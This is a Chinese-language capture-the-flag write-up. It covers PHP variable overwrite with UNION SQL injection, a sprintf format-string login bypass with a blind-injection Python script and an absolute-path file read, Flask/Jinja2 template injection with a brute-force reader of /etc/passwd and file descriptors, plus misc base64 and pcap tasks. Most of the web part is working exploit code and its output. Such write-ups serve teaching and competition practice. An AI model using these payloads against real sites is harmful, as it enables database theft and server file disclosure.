web
千毒网盘
下载源代码 www.zip
获得源代码
index.php
foreach(array('_GET', '_POST', '_COOKIE') as $key) { if($$key) { foreach($$key as $key_2 => $value_2) { if(isset($$key_2) and $$key_2 == $value_2) unset($$key_2); } } }// $$key_2 == $value_2,将unset($$key_2) if(isset($_POST['code'])) $_POST['code'] = $pan->filter($_POST['code']); if($_GET) extract($_GET, EXTR_SKIP); if($_POST) extract($_POST, EXTR_SKIP); if(isset($_POST['code']))
code.php
public function filter($string) { $safe = preg_match('/union|select|flag|in|or|on|where|like|\'/is', $string); if($safe === 0){ return $string; }else{ return False; } } public function getfile() { $code = $_POST['code']; if($code === False) return '非法提取码!'; $file_code = array(114514,233333,666666); if(in_array($code,$file_code)) { $sql = "select * from file where code='$code'"; // select * from file where code='0' or '1'; $result = mysqli_query($this->mysqli,$sql); $result = mysqli_fetch_object($result); return '下载直链为:'.$result->url; }else{ return '提取码不存在!'; }
payload
先将利用unset()
将$_POST['code']
置空,再利用if($_GET) extract($_GET, EXTR_SKIP);
变量覆盖掉$_POST['code']
,最后注意绕过in_array
http://eci-2ze6d5v7ffp8qeidk7g8.cloudeci1.ichunqiu.com/index.php?_POST[code]=233333' and '0'='1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() and '1 post: code=233333' and '0'='1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() and '1 注意! 下载直链为:file,flag http://eci-2ze6d5v7ffp8qeidk7g8.cloudeci1.ichunqiu.com/index.php?_POST[code]=233333' and '0'='1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'flag post: 233333' and '0'='1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'flag 注意! 下载直链为:flag http://eci-2ze6d5v7ffp8qeidk7g8.cloudeci1.ichunqiu.com/index.php?_POST[code]=233333' and '0'='1' union select 1,2,flag from flag where '1 post: 233333' and '0'='1' union select 1,2,flag from flag where '1 注意! 下载直链为:flag{5e34cf8a-29ba-45a2-934a-f8c5d1e9eaa5}
TryToLogin
输入错误密码后,可以获得hint
<!-- /?file=xxx 请使用绝对路径-->
测试过程中发现,代码可能用的是file_get_content
获得源代码
index.php?file=/proc/self/cwd/index.php
index.php
<?php class user { public $hostname = '127.0.0.1'; public $username = 'root'; public $password = 'root'; public $database = 'ctf'; private $mysqli = null; public function __construct() { $this->mysqli = mysqli_connect( $this->hostname, $this->username, $this->password ); mysqli_select_db($this->mysqli,$this->database); } public function filter() { $_POST['username'] = addslashes($_POST['username']); $_POST['password'] = addslashes($_POST['password']); $safe1 = preg_match('/inn|or/is', $_POST['username']); $safe2 = preg_match('/inn|or/is', $_POST['password']); if($safe1 === 0 and $safe2 === 0){ return true; }else{ die('No hacker!'); } } public function login() { $this->filter(); $username = $_POST['username']; $password = $_POST['password']; $sql = "select * from user where username='%s' and password='$password'"; // password = %1$' || 1=1# // password = %1$\' or 1=1# //select * from user where username='%s' and password='%1$\' or 1=1# ' $sql = sprintf($sql,$username); $result = mysqli_query($this->mysqli,$sql); $result = mysqli_fetch_object($result); if($result->id){ return 1; }else{ return 0; } } } session_start();
class.php
<?php include 'class.php'; if(isset($_GET['file'])){ if(preg_match('/flag/is', $_GET['file']) === 0){ echo file_get_contents('/'.$_GET['file']); } } if(isset($_POST['password'])){ $user = new user; $login = $user->login(); if($login){ echo <<<EOF <br> <div class="container"> <div class="row clearfix"> <div class="col-md-12 column"> <div class="alert alert-dismissable alert-info"> <button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button> <h4> 恭喜! </h4> <strong>Success!</strong>登录成功了! </div> </div> </div> </div> EOF; }else{ echo <<<EOF <br> <div class="container"> <div class="row clearfix"> <div class="col-md-12 column"> <div class="alert alert-dismissable alert-danger"> <button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button> <h4> 注意! </h4> <strong>Wrong!</strong>用户名或密码错误!Need help? </div> </div> </div> </div> <!-- /?file=xxx 请使用绝对路径--> EOF; } }
漏洞点
public function filter() { $_POST['username'] = addslashes($_POST['username']); $_POST['password'] = addslashes($_POST['password']); $safe1 = preg_match('/inn|or/is', $_POST['username']); $safe2 = preg_match('/inn|or/is', $_POST['password']); if($safe1 === 0 and $safe2 === 0){ return true; }else{ die('No hacker!'); } } public function login() { $this->filter(); $username = $_POST['username']; $password = $_POST['password']; $sql = "select * from user where username='%s' and password='$password'"; // password = %1$' || 1=1# // password = %1$\' or 1=1# //select * from user where username='%s' and password='%1$\' or 1=1# ' $sql = sprintf($sql,$username); $result = mysqli_query($this->mysqli,$sql); $result = mysqli_fetch_object($result); if($result->id){ return 1; }else{ return 0; }
在sql语句拼接中,先用简单拼接password,后用sprintf来格式化
很明显的sprintf格式化字符串漏洞
password = %1$' || 1=1# password = %1$\' or 1=1# filter() 函数后 select * from user where username='%s' and password='%1$\' or 1=1#' 拼接进去 select * from user where username='admin' and password='' or 1=1#' sprintf格式化后
payload, 注意information 库被过滤 sys.schema_table_statistics
import requests import time import binascii url = "http://eci-2ze2sq8e1l8hxc76lvp8.cloudeci1.ichunqiu.com/" flag = "" i = 0 while( True ): i = i + 1 low=32 high=127 while( low < high ): mid = (low + high) >> 1 sqli = "select group_concat(table_name) from sys.schema_table_statistics" sqli_2 = "select * from fl4g" payload = "%1$' ||/**/if(ascii(substr(("+sqli+ "),{0},1)) > {1},1,0)=1#".format(i,str(mid)) r = requests.post(url,data={"username":"admin","password":payload}) if "Success" in r.text : #print(payload) low = mid + 1 elif "Wrong" in r.text: high = mid else : print("error") if low!=32: flag += chr(low) else: break print(flag)
Hello
源代码 /help
from flask import Flask,request,render_template from jinja2 import Template import os app = Flask(__name__) f = open('/flag','r') flag = f.read() @app.route('/',methods=['GET','POST']) def home(): name = request.args.get("name") or "" print(name) if name: return render_template('index.html',name=name) else: return render_template('index.html') @app.route('/help',methods=['GET']) def help(): help = ''' ''' return f.read() @app.errorhandler(404) def page_not_found(e): #No way to get flag! os.system('rm -f /flag') url = name = request.args.get("name") or "" # r = request.path r = request.data.decode('utf8') if 'eval' in r or 'popen' in r or '{{' in r: t = Template(" Not found!") return render_template(t), 404 t = Template(r + " Not found!") return render_template(t), 404 if __name__ == '__main__': app.run(host='0.0.0.0',port=8888)
import requests import json url = 'http://eci-2zejdvvwkqa14ro19id2.cloudeci1.ichunqiu.com:8888/123' data = { '123':'a' } a = "{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{% if c.__init__.__globals__['__builtins__'].open('/etc/passwd').read()[0] == '{}' %}~p2~{% endif %}{% endif %}{% endfor %}" flag = '' for j in range(17,300): for i in range(32,127): exp = "{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{% if c.__init__.__globals__['__builtins__'].open('/proc/self/fd/3').read()["+str(j)+"] == '" +chr(i) +"' %}~p2~{% endif %}{% endif %}{% endfor %}" x = { '123':exp } r = requests.post(url=url, data=json.dumps(x)) if 'p2' in r.text: # print(i) # print(r.text) flag += chr(i) print(flag) break #flag{464191d1-4265-4ff5-b4fd-e75f7cd08175}
> cat cmdline /home/fe1w0/miniconda3/bin/python3/home/fe1w0/Flask.py% !w /proc/6263 ------------------------------------------------------------------------------------------- at 15:58:27 > ls fd -al total 0 dr-x------ 2 fe1w0 fe1w0 0 Nov 14 15:57 . dr-xr-xr-x 9 fe1w0 fe1w0 0 Nov 14 15:57 .. lrwx------ 1 fe1w0 fe1w0 64 Nov 14 15:57 0 -> /dev/pts/4 lrwx------ 1 fe1w0 fe1w0 64 Nov 14 15:57 1 -> /dev/pts/4 lrwx------ 1 fe1w0 fe1w0 64 Nov 14 15:57 2 -> /dev/pts/4 lr-x------ 1 fe1w0 fe1w0 64 Nov 14 15:57 3 -> /dev/urandom lr-x------ 1 fe1w0 fe1w0 64 Nov 14 15:57 4 -> /flag lrwx------ 1 fe1w0 fe1w0 64 Nov 14 15:57 5 -> 'socket:[115502]' lrwx------ 1 fe1w0 fe1w0 64 Nov 14 15:57 6 -> 'socket:[115502]'
misc
签到
{echo,ZmxhZ3t3MzFjMG1lNX0=}|{base64,-d}|{tr,5,6}
bash 执行
pcap
frame.len == 91
慢慢找
拼接的得到flag{d989e2b92ea671f5d30efb8956eab1427625c}
pcap analysis
先查modbus,发现有个长度为65,其他都62
和上题一样:
接着直接查frame.len == 65
,拼接得到flag
flag{323f986d429a689d3b96ad12dc5cbc701db0af55}